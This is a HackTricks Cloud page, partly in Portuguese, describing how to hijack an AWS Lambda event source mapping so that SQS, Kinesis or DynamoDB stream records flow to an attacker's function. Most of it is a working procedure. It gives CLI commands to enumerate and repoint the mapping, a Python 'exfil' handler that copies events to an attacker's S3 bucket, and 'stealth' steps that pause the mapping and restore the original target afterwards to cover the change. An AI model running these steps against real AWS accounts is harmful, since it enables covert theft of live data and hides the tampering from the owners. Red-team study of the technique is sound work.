AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Abuse UpdateEventSourceMapping para alterar a função Lambda de destino de um Event Source Mapping (ESM) existente, de modo que registros de DynamoDB Streams, Kinesis ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados em tempo real sem tocar nos produtores ou no código da função original.
Impact
- Desviar e ler registros em tempo real de streams/filas existentes sem modificar os aplicativos produtores ou o código da vítima.
- Possível exfiltração de dados ou adulteração da lógica ao processar o tráfego da vítima em uma função maliciosa.
Required permissions
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- Capacidade de implantar ou referenciar uma Lambda controlada pelo atacante (
lambda:CreateFunctionou permissão para usar uma já existente).
Steps
- Enumerar os event source mappings da função vítima
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- Prepare an attacker-controlled receiver Lambda (mesma região; idealmente VPC/runtime similar)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Reapontar o mapeamento para a função do atacante
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Gere um evento na fonte para que o mapeamento dispare (exemplo: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- Verifique se a função do atacante recebe o lote
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- Furtividade opcional
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Notas:
- Para SQS ESMs, a role de execução da Lambda que processa a fila precisa de
sqs:ReceiveMessage,sqs:DeleteMessage, esqs:GetQueueAttributes(managed policy:AWSLambdaSQSQueueExecutionRole). - O UUID do ESM permanece o mesmo; somente seu
FunctionArné alterado, então produtores e source ARNs permanecem inalterados.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud